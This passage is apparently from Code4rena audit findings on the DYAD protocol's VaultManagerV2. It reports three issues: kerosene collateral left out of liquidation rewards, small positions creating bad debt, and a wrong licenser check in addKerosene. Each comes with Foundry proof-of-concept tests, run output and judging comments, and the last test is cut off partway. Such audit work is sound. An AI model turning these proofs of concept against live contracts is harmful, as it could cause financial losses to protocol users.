Also found by: 0x175, 0x486776, 0xnev, 3docSec, 3th, Aamir, Abdessamed, AlexCzm, Angry_Mustache_Man, Circolors, DedOhWale, Emmanuel, Giorgio, Honour, Jorgect, KupiaSec, Maroutis, Myrault, SBSecurity, Stefanov, T1MOH, VAD37, Vasquez, adam-idarrha, alix40, ducanh2706, falconhoof, iamandreiski, ke1caM, kennedy1030, koo, lian886, ljj, miaowu, pontifex, sashik_eth, shikhar229169, vahdrak1
7.3026 USDC - $7.30
When a position undergoes liquidation, only external collateral is transferred from the vaults to the liquidator. This diminishes the incentives for liquidation.
The VaultManagerV2::liquidate(...)
does not account for the kerosene value when the liquidation Rewards are calculated. The same function is being used here from the previous Version of Vault Manager contract. So if the user is holding both exogenous collateral and kerosene in the vaults, he will only be charged liquidation penalty from the exogenous collateral. No rewards are distributed to the liquidator from the deposited kerosene.
function liquidate( uint id, uint to ) external isValidDNft(id) isValidDNft(to) { uint cr = collatRatio(id); if (cr >= MIN_COLLATERIZATION_RATIO) revert CrTooHigh(); dyad.burn(id, msg.sender, dyad.mintedDyad(address(this), id)); uint cappedCr = cr < 1e18 ? 1e18 : cr; uint liquidationEquityShare = (cappedCr - 1e18).mulWadDown(LIQUIDATION_REWARD); uint liquidationAssetShare = (liquidationEquityShare + 1e18).divWadDown(cappedCr); @> uint numberOfVaults = vaults[id].length(); for (uint i = 0; i < numberOfVaults; i++) { Vault vault = Vault(vaults[id].at(i)); uint collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare); vault.move(id, to, collateral); } emit Liquidate(id, msg.sender, to); }
GitHub: [205-228]
This results in a situation where a liquidator receives fewer liquidation rewards for liquidating a position that holds both external collateral and kerosene compared to one holding an equivalent value solely in external collateral.
For example,
If a User is holding 3000 USD
worth of collateral against their DNFT, with a 1.4
collateral ratio, the rewards that the liquidator gets is equal to ~77%
of the total collateral (Percentage taken from here) which is around 2310 USD
worth of collateral in the liquidation rewards.
But, if a user is holding the same 3000 USDC
worth of collateral but around 2000 USD
of it is in exogenous collateral and 1000 USD
is in kerosene. And if the collateral ratio is again 1.4
, then the liquidator is going to receive ~77%
liquidation rewards of the total exogenous collateral which is ~1540 USD
.
Sponsors also confirmed that this is a bug as liquidator should also receive kerosene in the liquidation rewards.
Note: The tests won't work as there are some other issues with other functions. Run the tests are making following changes in the codebase:
<details> <summary>Test Base</summary>File: VaultManagerV2.sol function addKerosene( uint id, address vault ) external isDNftOwner(id) { if (vaultsKerosene[id].length() >= MAX_VAULTS_KEROSENE) revert TooManyVaults(); - if (!keroseneManager.isLicensed(vault)) revert VaultNotLicensed(); + if (!vaultLicenser.isLicensed(vault)) revert VaultNotLicensed(); if (!vaultsKerosene[id].add(vault)) revert VaultAlreadyAdded(); emit Added(id, vault); } function getKeroseneValue( uint id ) public view returns (uint) { uint totalUsdValue; uint numberOfVaults = vaultsKerosene[id].length(); for (uint i = 0; i < numberOfVaults; i++) { Vault vault = Vault(vaultsKerosene[id].at(i)); uint usdValue; - if (keroseneManager.isLicensed(address(vault))) { + if (vaultLicenser.isLicensed(address(vault))) { usdValue = vault.getUsdValue(id); } totalUsdValue += usdValue; } return totalUsdValue; }
</details>// SPDX-License-Identifier: MIT pragma solidity =0.8.17; import "forge-std/Test.sol"; import "forge-std/console.sol"; import {Parameters} from "src/params/Parameters.sol"; import {DNft} from "src/core/DNft.sol"; import {Dyad} from "src/core/Dyad.sol"; import {Licenser} from "src/core/Licenser.sol"; import {VaultManagerV2} from "src/core/VaultManagerV2.sol"; import {Vault} from "src/core/Vault.sol"; import {VaultWstEth} from "src/core/Vault.wsteth.sol"; import {Payments} from "src/periphery/Payments.sol"; import {OracleMock} from "../OracleMock.sol"; import {ERC20Mock} from "../ERC20Mock.sol"; import {IAggregatorV3} from "src/interfaces/IAggregatorV3.sol"; import {ERC20} from "@solmate/src/tokens/ERC20.sol"; import {Kerosine} from "src/staking/Kerosine.sol"; import {BoundedKerosineVault} from "src/core/Vault.kerosine.bounded.sol"; import {UnboundedKerosineVault} from "src/core/Vault.kerosine.unbounded.sol"; import {KerosineManager} from "src/core/KerosineManager.sol"; import {KerosineDenominator} from "src/staking/KerosineDenominator.sol"; struct Contracts { DNft dNft; ERC20Mock weth; Licenser vaultManagerLicenser; Licenser vaultLicenser; Dyad dyad; VaultManagerV2 vaultManager; KerosineManager kerosineManager; MockKerosineDenominator kerosineDenominator; } struct Oracles{ OracleMock wethOracle; OracleMock daiOracle; OracleMock usdcOracle; } struct Tokens{ ERC20Mock weth; ERC20Mock dai; USDC usdc; Kerosine kerosene; } struct Vaults{ Vault wethVault; Vault daiVault; Vault usdcVault; BoundedKerosineVault boundedKerosineVault; UnboundedKerosineVault unboundedKerosineVault; } contract MockKerosineDenominator { Kerosine public kerosine; address public owner; constructor( Kerosine _kerosine ) { kerosine = _kerosine; owner = msg.sender; } function denominator() external view returns (uint) { // @dev: We subtract all the Kerosene in the multi-sig. // We are aware that this is not a great solution. That is // why we can switch out Denominator contracts. return kerosine.totalSupply() - kerosine.balanceOf(owner); } } contract USDC is ERC20 { constructor() ERC20("USDC", "USDC", 6) { } function mint(address to, uint256 amount) public { _mint(to, amount); } function burn(address from, uint256 amount) public { _burn(from, amount); } } contract BaseLocalTest is Test { Contracts public contracts; Oracles public oracles; Tokens public tokens; Vaults public vaults; function setUp() public virtual { // oracles oracles.wethOracle = new OracleMock(3000e8); oracles.daiOracle = new OracleMock(1e8); oracles.usdcOracle = new OracleMock(1e8); // tokens tokens.dai = new ERC20Mock("DAI-TEST", "DAIT"); tokens.weth = new ERC20Mock("WETH-TEST", "WETHT"); tokens.kerosene = new Kerosine(); tokens.usdc = new USDC(); // contracts contracts.dNft = new DNft(); contracts.vaultLicenser = new Licenser(); contracts.dyad = new Dyad(contracts.vaultLicenser); contracts.vaultManager = new VaultManagerV2(contracts.dNft, contracts.dyad, contracts.vaultLicenser); contracts.kerosineManager = new KerosineManager(); vaults.boundedKerosineVault = new BoundedKerosineVault(contracts.vaultManager, tokens.kerosene, contracts.kerosineManager); vaults.unboundedKerosineVault = new UnboundedKerosineVault(contracts.vaultManager, tokens.kerosene, contracts.dyad, contracts.kerosineManager); vaults.boundedKerosineVault.setUnboundedKerosineVault(vaults.unboundedKerosineVault); contracts.vaultManager.setKeroseneManager(contracts.kerosineManager); contracts.kerosineDenominator = new MockKerosineDenominator(tokens.kerosene); vaults.unboundedKerosineVault.setDenominator(KerosineDenominator(address(contracts.kerosineDenominator))); // create the DAI vault vaults.daiVault = new Vault( contracts.vaultManager, ERC20(address(tokens.dai)), IAggregatorV3(address(oracles.daiOracle)) ); // create the WETH vault vaults.wethVault = new Vault( contracts.vaultManager, ERC20(address(tokens.weth)), IAggregatorV3(address(oracles.wethOracle)) ); // create the usdc vault vaults.usdcVault = new Vault( contracts.vaultManager, ERC20(address(tokens.usdc)), IAggregatorV3(address(oracles.usdcOracle)) ); // add the DAI vault vm.startPrank(contracts.vaultLicenser.owner()); contracts.vaultLicenser.add(address(vaults.daiVault)); contracts.vaultLicenser.add(address(vaults.usdcVault)); contracts.vaultLicenser.add(address(vaults.wethVault)); contracts.vaultLicenser.add(address(contracts.vaultManager)); contracts.vaultLicenser.add(address(vaults.unboundedKerosineVault)); contracts.kerosineManager.add(address(vaults.wethVault)); // should not be done but we are doing it for the testing purpose only as it is also done in the deployment script // contracts.kerosineManager.add(address(vaults.unboundedKerosineVault)); assertEq(contracts.kerosineManager.isLicensed(address(vaults.wethVault)), true); // labeling everything vm.label(address(contracts.weth), "WETH"); vm.label(address(contracts.dyad), "DYAD"); vm.label(address(contracts.vaultManager), "VaultManager"); vm.label(address(contracts.dNft), "DNFT"); vm.label(address(contracts.vaultLicenser), "VaultLicenser"); vm.label(address(contracts.vaultManagerLicenser), "VaultManagerLicenser"); vm.label(address(vaults.daiVault), "DAI Vault"); vm.label(address(vaults.wethVault), "WETH Vault"); vm.label(address(tokens.dai), "DAI"); vm.label(address(tokens.weth), "WETH"); vm.label(address(tokens.kerosene), "Kerosene"); vm.label(address(oracles.wethOracle), "WETH Oracle"); vm.label(address(oracles.daiOracle), "DAI Oracle"); vm.label(address(oracles.usdcOracle), "USDC Oracle"); vm.label(address(tokens.usdc), "USDC"); vm.label(address(vaults.usdcVault), "USDC Vault"); } receive() external payable {} function onERC721Received( address, address, uint256, bytes calldata ) external pure returns (bytes4) { return 0x150b7a02; } }
Tests:
pragma solidity =0.8.17; import {BaseLocalTest} from "./Base.t.sol"; import {console2} from "forge-std/console2.sol"; contract Unit is BaseLocalTest{ function setUp() public override{ super.setUp(); } function test_LiquidationDoesNotTakeIntoAccountTheDepositedkeroseneForLiquidationRewards() public { // setup address alice = makeAddr("alice"); address bob = makeAddr("Bob"); uint256 alicesAmount = 1e18; uint256 bobsAmount = 100000e18; address temproryHolder = makeAddr("temproryHolder"); uint256 keroseneAmount = 5000 ether; // giving some tokens to alice and bob vm.deal(alice, alicesAmount); tokens.weth.mint(alice, alicesAmount); vm.deal(bob, bobsAmount); tokens.weth.mint(bob, bobsAmount); tokens.kerosene.transfer(alice, keroseneAmount); // only keeping 100 million kerosene in the contract. // Doing this because around 10% of the total kerosene will be kept in reserve. // Source: https://dyadstable.notion.site/KEROSENE-Tokenomics-a4a983c69a354097ba5fd9358057f4bd tokens.kerosene.transfer(temproryHolder, tokens.kerosene.balanceOf(address(this)) - 100_000_000 ether); ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// // bob mints new DNFT vm.startPrank(bob); uint256 bobsTokenId = contracts.dNft.mintNft{value: 1 ether}(bob); // bob adds the vault in the vault manager contracts.vaultManager.add(bobsTokenId, address(vaults.wethVault)); // bob deposits 2000 weth to the vault tokens.weth.approve(address(contracts.vaultManager), bobsAmount); contracts.vaultManager.deposit(bobsTokenId, address(vaults.wethVault), bobsAmount); // amount should be added to the vault assertEq(vaults.wethVault.id2asset(bobsTokenId), bobsAmount); // mints dyad only to cover the liquidation amount uint256 bobDyadValue = 3000 * (10 ** 18); contracts.vaultManager.mintDyad(bobsTokenId, bobDyadValue , bob); vm.stopPrank(); ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// // alice mints new DNFt vm.startPrank(alice); uint256 alicesTokenId = contracts.dNft.mintNft{value: 1 ether}(alice); // alice add the weth for the new DNFt in vaultmanager contracts.vaultManager.add(alicesTokenId, address(vaults.wethVault)); contracts.vaultManager.addKerosene(alicesTokenId, address(vaults.unboundedKerosineVault)); // alice deposit weth in the vault tokens.weth.approve(address(contracts.vaultManager), alicesAmount); contracts.vaultManager.deposit(alicesTokenId, address(vaults.wethVault), alicesAmount); tokens.kerosene.approve(address(contracts.vaultManager), keroseneAmount); contracts.vaultManager.deposit(alicesTokenId, address(vaults.unboundedKerosineVault), keroseneAmount); // getting the asset price of kerosene console2.log("The price of kerosene is: ", vaults.unboundedKerosineVault.assetPrice(), vaults.unboundedKerosineVault.getUsdValue(alicesTokenId)); // assert alice has 1000 weth in the vault assertEq(vaults.wethVault.id2asset(alicesTokenId), alicesAmount); // this dyad minting amount has been picked after checking a lot values. This value will make the cr equals to 1.5 in // this particular scenario (, uint256 price, , ,) = oracles.wethOracle.latestRoundData(); uint256 alicesDyadValue = 3000 ether; contracts.vaultManager.mintDyad(alicesTokenId, alicesDyadValue , alice); vm.stopPrank(); // alice should have 2000000 dyad minted assertEq(contracts.dyad.mintedDyad(address(contracts.vaultManager), alicesTokenId), alicesDyadValue); ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// // assuming the price of weth falls down from 3000 (3000e8) usd to (2900) usd. In oracle decimals, it would be equal to 2900 * 1e8 // so the new price of weth in oracle would be 2900 * 1e8 oracles.wethOracle.setPrice(2800 * 1e8); // new ratio of alice should be less than 1.5 uint256 newCollateralRatioOfAlice = contracts.vaultManager.collatRatio(alicesTokenId); assertLt(newCollateralRatioOfAlice, 1.5 ether); // bob saw that and decides to liquidate alice vm.prank(bob); contracts.vaultManager.liquidate(alicesTokenId, bobsTokenId); vm.roll(block.number + 1); // bob tries to withdraw his dyad balance but will revert due to a bug vm.startPrank(bob); // bob has no balance in dyad since his whole balance has been burnt during liquidation assertEq(contracts.dyad.balanceOf(bob), 0); console2.log("bob's weth balance in vault: ", vaults.wethVault.id2asset(bobsTokenId)); vm.stopPrank(); } // Same test as above without any kerosene deposits function test_SameTestAsAboveButWithoutAnyKeroseneDeposit() public { // setup address alice = makeAddr("alice"); address bob = makeAddr("Bob"); uint256 alicesAmount = 1e18; uint256 bobsAmount = 100000e18; address temproryHolder = makeAddr("temproryHolder"); // giving some tokens to alice and bob vm.deal(alice, alicesAmount); tokens.weth.mint(alice, alicesAmount); vm.deal(bob, bobsAmount); tokens.weth.mint(bob, bobsAmount); // only keeping 100 million kerosene in the contract. // Doing this because around 10% of the total kerosene will be kept in reserve. // Source: https://dyadstable.notion.site/KEROSENE-Tokenomics-a4a983c69a354097ba5fd9358057f4bd tokens.kerosene.transfer(temproryHolder, tokens.kerosene.balanceOf(address(this)) - 100_000_000 ether); ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// // bob mints new DNFT vm.startPrank(bob); uint256 bobsTokenId = contracts.dNft.mintNft{value: 1 ether}(bob); // bob adds the vault in the vault manager contracts.vaultManager.add(bobsTokenId, address(vaults.wethVault)); // bob deposits 2000 weth to the vault tokens.weth.approve(address(contracts.vaultManager), bobsAmount); contracts.vaultManager.deposit(bobsTokenId, address(vaults.wethVault), bobsAmount); // amount should be added to the vault assertEq(vaults.wethVault.id2asset(bobsTokenId), bobsAmount); // mints dyad only to cover the liquidation amount uint256 bobDyadValue = 2000 * (10 ** 18); contracts.vaultManager.mintDyad(bobsTokenId, bobDyadValue , bob); vm.stopPrank(); ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// // alice mints new DNFt vm.startPrank(alice); uint256 alicesTokenId = contracts.dNft.mintNft{value: 1 ether}(alice); // alice add the weth for the new DNFt in vaultmanager contracts.vaultManager.add(alicesTokenId, address(vaults.wethVault)); // alice deposit weth in the vault tokens.weth.approve(address(contracts.vaultManager), alicesAmount); contracts.vaultManager.deposit(alicesTokenId, address(vaults.wethVault), alicesAmount); // assert alice has 1000 weth in the vault assertEq(vaults.wethVault.id2asset(alicesTokenId), alicesAmount); // max dyad value that can be minted // cr = 1.5 // so for 1 weth, which is equal to 1 * 3000 = 3000 usd // the dyad value that can be minted is 3000 / 1.5 = 2000 uint256 alicesDyadValue = 2000 ether; contracts.vaultManager.mintDyad(alicesTokenId, alicesDyadValue , alice); vm.stopPrank(); console2.log("collateral ratio of alice after mint: ", contracts.vaultManager.collatRatio(alicesTokenId)); // alice should have 2000000 dyad minted assertEq(contracts.dyad.mintedDyad(address(contracts.vaultManager), alicesTokenId), alicesDyadValue); ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// // assuming the price of weth falls down from 3000 (3000e8) usd to (2900) usd. In oracle decimals, it would be equal to 2900 * 1e8 // so the new price of weth in oracle would be 2900 * 1e8 oracles.wethOracle.setPrice(2900 * 1e8); // new ratio of alice should be less than 1.5 uint256 newCollateralRatioOfAlice = contracts.vaultManager.collatRatio(alicesTokenId); assertLt(newCollateralRatioOfAlice, 1.5 ether); // bob saw that and decides to liquidate alice vm.prank(bob); contracts.vaultManager.liquidate(alicesTokenId, bobsTokenId); vm.roll(block.number + 1); // bob tries to withdraw his dyad balance but will revert due to a bug vm.startPrank(bob); // bob has no balance in dyad since his whole balance has been burnt during liquidation assertEq(contracts.dyad.balanceOf(bob), 0); console2.log("bob's weth balance in vault: ", vaults.wethVault.id2asset(bobsTokenId)); vm.stopPrank(); }
Output1:
[PASS] test_LiquidationDoesNotTakeIntoAccountTheDepositedkeroseneForLiquidationRewards() (gas: 1154485) Logs: ... bob's weth balance in vault: 100000751022660749525130 Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.63ms (1.39ms CPU time) Ran 1 test suite in 347.09ms (2.63ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Output2:
Ran 1 test for test/unit/Unit.t.sol:Unit [PASS] test_SameTestAsAboveButWithoutAnyKeroseneDeposit() (gas: 893612) Logs: ... bob's weth balance in vault: 100000771428571428571428 Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.00ms (800.28µs CPU time) Ran 1 test suite in 289.08ms (2.00ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
We can check from the output that approx 0.7 weth
was recieved by both although in case 1, the total collateral was worth ~4000 USDC
and 3000 USDC
is case 2.
It is recommended to include the kerosene rewards in the rewards calculation of liquidation.
Error
#0 - c4-pre-sort
2024-04-28T10:26:07Z
JustDravee marked the issue as duplicate of #128
#1 - c4-pre-sort
2024-04-29T09:03:40Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-11T19:39:42Z
koolexcrypto marked the issue as satisfactory
🌟 Selected for report: dimulski
Also found by: 0xleadwizard, 0xlemon, Aamir, Al-Qa-qa, AvantGard, Bauchibred, Cryptor, DarkTower, Egis_Security, Giorgio, Maroutis, MrPotatoMagic, OMEN, Ocean_Sky, Ryonen, SBSecurity, Sabit, SpicyMeatball, Stefanov, T1MOH, Tigerfrake, WildSniper, atoko, bhilare_, darksnow, fandonov, grearlake, iamandreiski, igdbase, pontifex, web3km, xiao
4.8719 USDC - $4.87
The protocol enables users to deposit a small amount of collateral and generate DYAD tokens against it. However, if a position becomes undercollateralized, there is currently little incentive for liquidators to step in and rectify the situation, either because the incentives are lacking or the gas fees outweigh the potential rewards. This dynamic poses a significant risk of accumulating bad debts within the system.
Liquidators typically intervene to resolve undercollateralized positions and reap the associated benefits. However, when the size of these positions is too small, the costs involved in liquidating them—such as gas fees or the actual cost of liquidation—can exceed the potential benefits. Consequently, there is a reluctance among participants to trigger the liquidation process for such positions, resulting in the accumulation of bad debts. For instance, if someone deposits $5 worth of WETH into the vault and mints 3 DYAD against it, and later the value of WETH drops to $3, the position is clearly undercollateralized. Despite this, the lack of incentives or the high costs involved may dissuade liquidators from taking action on such positions, potentially exacerbating the issue.
Test that proves that small dyad can be minted and can create bad debts:
<details> <summary>Test Base</summary></details>// SPDX-License-Identifier: MIT pragma solidity =0.8.17; import "forge-std/Test.sol"; import "forge-std/console.sol"; import {Parameters} from "src/params/Parameters.sol"; import {DNft} from "src/core/DNft.sol"; import {Dyad} from "src/core/Dyad.sol"; import {Licenser} from "src/core/Licenser.sol"; import {VaultManagerV2} from "src/core/VaultManagerV2.sol"; import {Vault} from "src/core/Vault.sol"; import {VaultWstEth} from "src/core/Vault.wsteth.sol"; import {Payments} from "src/periphery/Payments.sol"; import {OracleMock} from "../OracleMock.sol"; import {ERC20Mock} from "../ERC20Mock.sol"; import {IAggregatorV3} from "src/interfaces/IAggregatorV3.sol"; import {ERC20} from "@solmate/src/tokens/ERC20.sol"; import {Kerosine} from "src/staking/Kerosine.sol"; import {BoundedKerosineVault} from "src/core/Vault.kerosine.bounded.sol"; import {UnboundedKerosineVault} from "src/core/Vault.kerosine.unbounded.sol"; import {KerosineManager} from "src/core/KerosineManager.sol"; import {KerosineDenominator} from "src/staking/KerosineDenominator.sol"; struct Contracts { DNft dNft; ERC20Mock weth; Licenser vaultManagerLicenser; Licenser vaultLicenser; Dyad dyad; VaultManagerV2 vaultManager; KerosineManager kerosineManager; MockKerosineDenominator kerosineDenominator; } struct Oracles{ OracleMock wethOracle; OracleMock daiOracle; OracleMock usdcOracle; } struct Tokens{ ERC20Mock weth; ERC20Mock dai; USDC usdc; Kerosine kerosene; } struct Vaults{ Vault wethVault; Vault daiVault; Vault usdcVault; BoundedKerosineVault boundedKerosineVault; UnboundedKerosineVault unboundedKerosineVault; } contract MockKerosineDenominator { Kerosine public kerosine; address public owner; constructor( Kerosine _kerosine ) { kerosine = _kerosine; owner = msg.sender; } function denominator() external view returns (uint) { // @dev: We subtract all the Kerosene in the multi-sig. // We are aware that this is not a great solution. That is // why we can switch out Denominator contracts. return kerosine.totalSupply() - kerosine.balanceOf(owner); } } contract USDC is ERC20 { constructor() ERC20("USDC", "USDC", 6) { } function mint(address to, uint256 amount) public { _mint(to, amount); } function burn(address from, uint256 amount) public { _burn(from, amount); } } contract BaseLocalTest is Test { Contracts public contracts; Oracles public oracles; Tokens public tokens; Vaults public vaults; function setUp() public virtual { // oracles oracles.wethOracle = new OracleMock(3000e8); oracles.daiOracle = new OracleMock(1e8); oracles.usdcOracle = new OracleMock(1e8); // tokens tokens.dai = new ERC20Mock("DAI-TEST", "DAIT"); tokens.weth = new ERC20Mock("WETH-TEST", "WETHT"); tokens.kerosene = new Kerosine(); tokens.usdc = new USDC(); // contracts contracts.dNft = new DNft(); contracts.vaultLicenser = new Licenser(); contracts.dyad = new Dyad(contracts.vaultLicenser); contracts.vaultManager = new VaultManagerV2(contracts.dNft, contracts.dyad, contracts.vaultLicenser); contracts.kerosineManager = new KerosineManager(); vaults.boundedKerosineVault = new BoundedKerosineVault(contracts.vaultManager, tokens.kerosene, contracts.kerosineManager); vaults.unboundedKerosineVault = new UnboundedKerosineVault(contracts.vaultManager, tokens.kerosene, contracts.dyad, contracts.kerosineManager); vaults.boundedKerosineVault.setUnboundedKerosineVault(vaults.unboundedKerosineVault); contracts.vaultManager.setKeroseneManager(contracts.kerosineManager); contracts.kerosineDenominator = new MockKerosineDenominator(tokens.kerosene); vaults.unboundedKerosineVault.setDenominator(KerosineDenominator(address(contracts.kerosineDenominator))); // create the DAI vault vaults.daiVault = new Vault( contracts.vaultManager, ERC20(address(tokens.dai)), IAggregatorV3(address(oracles.daiOracle)) ); // create the WETH vault vaults.wethVault = new Vault( contracts.vaultManager, ERC20(address(tokens.weth)), IAggregatorV3(address(oracles.wethOracle)) ); // create the usdc vault vaults.usdcVault = new Vault( contracts.vaultManager, ERC20(address(tokens.usdc)), IAggregatorV3(address(oracles.usdcOracle)) ); // add the DAI vault vm.startPrank(contracts.vaultLicenser.owner()); contracts.vaultLicenser.add(address(vaults.daiVault)); contracts.vaultLicenser.add(address(vaults.usdcVault)); contracts.vaultLicenser.add(address(vaults.wethVault)); contracts.vaultLicenser.add(address(contracts.vaultManager)); contracts.vaultLicenser.add(address(vaults.unboundedKerosineVault)); contracts.kerosineManager.add(address(vaults.wethVault)); // should not be done but we are doing it for the testing purpose only as it is also done in the deployment script // contracts.kerosineManager.add(address(vaults.unboundedKerosineVault)); assertEq(contracts.kerosineManager.isLicensed(address(vaults.wethVault)), true); // labeling everything vm.label(address(contracts.weth), "WETH"); vm.label(address(contracts.dyad), "DYAD"); vm.label(address(contracts.vaultManager), "VaultManager"); vm.label(address(contracts.dNft), "DNFT"); vm.label(address(contracts.vaultLicenser), "VaultLicenser"); vm.label(address(contracts.vaultManagerLicenser), "VaultManagerLicenser"); vm.label(address(vaults.daiVault), "DAI Vault"); vm.label(address(vaults.wethVault), "WETH Vault"); vm.label(address(tokens.dai), "DAI"); vm.label(address(tokens.weth), "WETH"); vm.label(address(tokens.kerosene), "Kerosene"); vm.label(address(oracles.wethOracle), "WETH Oracle"); vm.label(address(oracles.daiOracle), "DAI Oracle"); vm.label(address(oracles.usdcOracle), "USDC Oracle"); vm.label(address(tokens.usdc), "USDC"); vm.label(address(vaults.usdcVault), "USDC Vault"); } receive() external payable {} function onERC721Received( address, address, uint256, bytes calldata ) external pure returns (bytes4) { return 0x150b7a02; } }
Test:
pragma solidity =0.8.17; import {BaseLocalTest} from "./Base.t.sol"; import {console2} from "forge-std/console2.sol"; contract Unit is BaseLocalTest{ function setUp() public override{ super.setUp(); } function test_smallPOsitionsCanBeCreateInTheSystem() public { address alice = makeAddr("alice"); // 5 usd worth of weth (, uint256 price, , ,) = oracles.wethOracle.latestRoundData(); uint256 amount = 1 ether * 5e8 / price; // giving some tokens to alice vm.deal(alice, 5 ether); tokens.weth.mint(alice, 5 ether); // alice mints new DNFT vm.startPrank(alice); uint256 tokenId = contracts.dNft.mintNft{value: 1 ether}(alice); // alice adds the weth vault in the vault manager against his DNFT contracts.vaultManager.add(tokenId, address(vaults.wethVault)); // alice deposits weth in the vault tokens.weth.approve(address(contracts.vaultManager), amount); contracts.vaultManager.deposit(tokenId, address(vaults.wethVault), amount); // amount should be added to the vault assertEq(vaults.wethVault.id2asset(tokenId), amount); // mints dyad uint256 maxDyadToBeMinted = amount * price * uint256(1 ether) / uint256(1.5 ether) / 1e8; // alice mints dyad contracts.vaultManager.mintDyad(tokenId, maxDyadToBeMinted, alice); // collateral ratio of alice assertGe(contracts.vaultManager.collatRatio(tokenId), 1.5 ether); // now the price of weth falls down to 2900 usd oracles.wethOracle.setPrice(2900 * 1e8); // collateral ratio of alice assertLt(contracts.vaultManager.collatRatio(tokenId), 1.5 ether); } }
Additionally, here are some links to similar issues previously accepted:
https://github.com/code-423n4/2024-02-wise-lending-findings/issues/255
A potential fix could be to only allow users to mint Dyad if their collateral value is past a certain threshold.
Other
#0 - c4-pre-sort
2024-04-27T17:34:23Z
JustDravee marked the issue as duplicate of #1258
#1 - c4-pre-sort
2024-04-29T09:16:52Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-03T14:07:47Z
koolexcrypto changed the severity to QA (Quality Assurance)
#3 - c4-judge
2024-05-12T09:32:45Z
koolexcrypto marked the issue as grade-c
#4 - c4-judge
2024-05-22T14:26:07Z
This previously downgraded issue has been upgraded by koolexcrypto
#5 - c4-judge
2024-05-28T16:51:46Z
koolexcrypto marked the issue as satisfactory
#6 - c4-judge
2024-05-28T20:06:07Z
koolexcrypto marked the issue as duplicate of #175
🌟 Selected for report: carrotsmuggler
Also found by: 0xAlix2, 0xSecuri, 0xleadwizard, 0xlemon, 0xtankr, 3th, Aamir, Abdessamed, Bauchibred, Circolors, Egis_Security, Evo, Hueber, Mahmud, SBSecurity, TheSavageTeddy, TheSchnilch, Tychai0s, alix40, bbl4de, btk, d3e4, ducanh2706, falconhoof, itsabinashb, ke1caM, lian886, n4nika, oakcobalt, pontifex, sashik_eth, steadyman, tchkvsky, zhuying
3.7207 USDC - $3.72
VaultManagerV2::addKerosene(...)
checks if a vault is licensed in KeroseneManager
which is wrong as only those vaults are licensed in KeroseneManager
which are counted towards the Kerosene Price calculation. Hence only vaults that are added through VaultManagerV2::add(...)
should be licensed in it. Because of this nobody would be able to add Kerosene vaults for their DNFT. The same issue exists in VaultManagerV2::getKeroseneValue(...)
.
VaultManagerV2::addKerosene(...)
incorrectly checks if a vault is licensed in the KeroseneManger
:
function addKerosene( uint id, address vault ) external isDNftOwner(id) { if (vaultsKerosene[id].length() >= MAX_VAULTS_KEROSENE) revert TooManyVaults(); @> if (!keroseneManager.isLicensed(vault)) revert VaultNotLicensed(); if (!vaultsKerosene[id].add(vault)) revert VaultAlreadyAdded(); emit Added(id, vault); }
GitHub: [80-91]
This should not be the case as kerosene manager only license those vaults that are counted towards the price calculation of kerosene and not the kerosene vaults itself.
Also we can check in the Deploy.V2.s.sol
script that the unbounded vault is added in the VaultLicenser
:
vaultLicenser.add(address(unboundedKerosineVault));
GitHub: [95]
Because of this nobody would be able to add kerosene vaults for their DNFT in the vault manager and system will cause DoS.
The same problem exists in the VaultManagerV2::getKeroseneValue(...)
:
function getKeroseneValue( uint id ) public view returns (uint) { uint totalUsdValue; uint numberOfVaults = vaultsKerosene[id].length(); for (uint i = 0; i < numberOfVaults; i++) { Vault vault = Vault(vaultsKerosene[id].at(i)); uint usdValue; @> if (keroseneManager.isLicensed(address(vault))) { usdValue = vault.getUsdValue(id); } totalUsdValue += usdValue; } return totalUsdValue; }
In the function, the price is only added to the total if the kerosene vault is licensed in the KeroseneManager
. But as we have seen before that no kerosene vaults itself will be licensed in the KeroseneManager
, the function will no work correctly. In fact, we can see in the deployment script that, only eth and wsteth vaults are KeroseneManager
:
File: Deploy.V2.s.sol kerosineManager.add(address(ethVault)); kerosineManager.add(address(wstEth));
GitHub: [64-65]
// SPDX-License-Identifier: MIT pragma solidity =0.8.17; import "forge-std/console2.sol"; import "forge-std/Test.sol"; import {DeployV2, Contracts} from "../../script/deploy/Deploy.V2.s.sol"; import {Licenser} from "../../src/core/Licenser.sol"; import {Parameters} from "../../src/params/Parameters.sol"; import {DNft} from "src/core/DNft.sol"; import {Vault} from "src/core/Vault.sol"; interface IWETH { event Approval(address indexed src, address indexed guy, uint256 wad); event Deposit(address indexed dst, uint256 wad); event Transfer(address indexed src, address indexed dst, uint256 wad); event Withdrawal(address indexed src, uint256 wad); function allowance(address, address) external view returns (uint256); function approve(address guy, uint256 wad) external returns (bool); function balanceOf(address) external view returns (uint256); function decimals() external view returns (uint8); function deposit() external payable; function name() external view returns (string memory); function symbol() external view returns (string memory); function totalSupply() external view returns (uint256); function transfer(address dst, uint256 wad) external returns (bool); function transferFrom(address src, address dst, uint256 wad) external returns (bool); function withdraw(uint256 wad) external; } interface ERC20{ function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } contract V2Test is Test, Parameters { Contracts contracts; function setUp() public { contracts = new DeployV2().run(); } function test_AddKeroseneWillNotWork() public labelContracts(){ // setup address alice = makeAddr("alice"); vm.deal(alice, 1 ether); vm.startPrank(alice); // alice minting new DNFT uint256 tokenId = DNft(MAINNET_DNFT).mintNft{value: 1 ether}(alice); // alice decides to add kerosene for the DNFT 